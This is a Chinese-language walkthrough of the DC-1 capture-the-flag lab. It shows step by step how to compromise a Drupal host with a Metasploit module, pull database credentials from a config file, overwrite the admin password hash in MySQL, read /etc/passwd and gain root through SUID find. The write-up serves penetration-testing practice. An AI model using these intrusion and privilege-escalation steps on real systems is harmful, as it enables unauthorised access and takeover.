DC-1

信息收集

收集ip

arp-scan -l

image-20240131231958-99jlr01.png

扫描端口

nmap -sV 192.168.6.135

image-20240131232107-65t475e.png

访问80端口,可以看到CMS为Drupal

image-20240131232922-kkoe6j5.png

漏洞利用

使用msfconsole查看Drupal的模块

1.进入msfconsole

msfconsole

2.搜索Drupal漏洞模块

search Drupal

image-20240131233359-04wrw4w.png

3.使用2018年的模块

use 1

4.查看需要配置的参数

show options

image-20240131233557-v4yjyui.png

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

5.设置目标

set rhosts 192.168.6.135

6.攻击

run

image-20240131233754-mfdbv2l.png

可以看到session的建立

7.获得shell

shell

为了方便看我们使用python进行反弹

python -c 'import pty; pty.spawn("/bin/bash")'

flag1

使用ls看到目录下有一个flag1.txt,使用cat读取

ls
cat flag1.txt

image-20240131234521-ze9cg2e.png

给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

flag2

根据提示搜索配置文件

find . -name "set*"

image-20240131235928-718sput.png

发现有文件,读取看到flag2提示

flag2
*蛮力和字典攻击不是
*只有获得访问权限的方法(你将需要访问权限)。
*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作

并且看到数据库账号密码

image-20240201000209-pkdquvk.png

flag3

尝试登录一下

mysql -udbuser -pR0ck3t

image-20240201000536-epgrqni.png

查看库

show databases;

image-20240201000622-0u7s97w.png

进入drupaldb库中

use drupaldb

image-20240201000733-fht5tol.png

查看库中的表

show tables;

仔细观察可以看到有一个users的表

image-20240201000841-3vxjejh.png

查看表中内容

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向

image-20240201001000-l9o8cz9.png

感觉admin的密码应该是某种hash加密,找找文件中有没有加密文件。

find . -name "*hash*"

image-20240201001608-koesi3u.png

发现有加密文件,运行看一下

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

image-20240201001756-ynaph3k.png

得到hash值,尝试去数据库中替换密码

SD6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl

update users set pass='$S$D6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl' where name='admin';

image-20240201003700-plk0b27.png

替换成功,尝试登录,登录成功得到flag3提示

image-20240201003751-1p96n1s.png

提示:

特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

flag4

根据提示的passwd,查看etc/passwd看看

cat /etc/passwd

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件

cd /home/flag4
ls

查看内容

cat flag4.txt

image-20240201004116-576ybkk.png

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令

/ 根目录(查找位置)

-perm 权限

-u 用户(s=特权)

-type 类型

f 文件

2>/dev/nul 过滤错误信息(不显示错误信息)
image-20240201004522-1m20vqs.png

看到find,那就比较简单了。直接使用find提权

find / -exec /bin/bash \;

image-20240201005110-1g21qss.png

再次查看flag4,得到提示

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root   
ls

可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt

获得最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7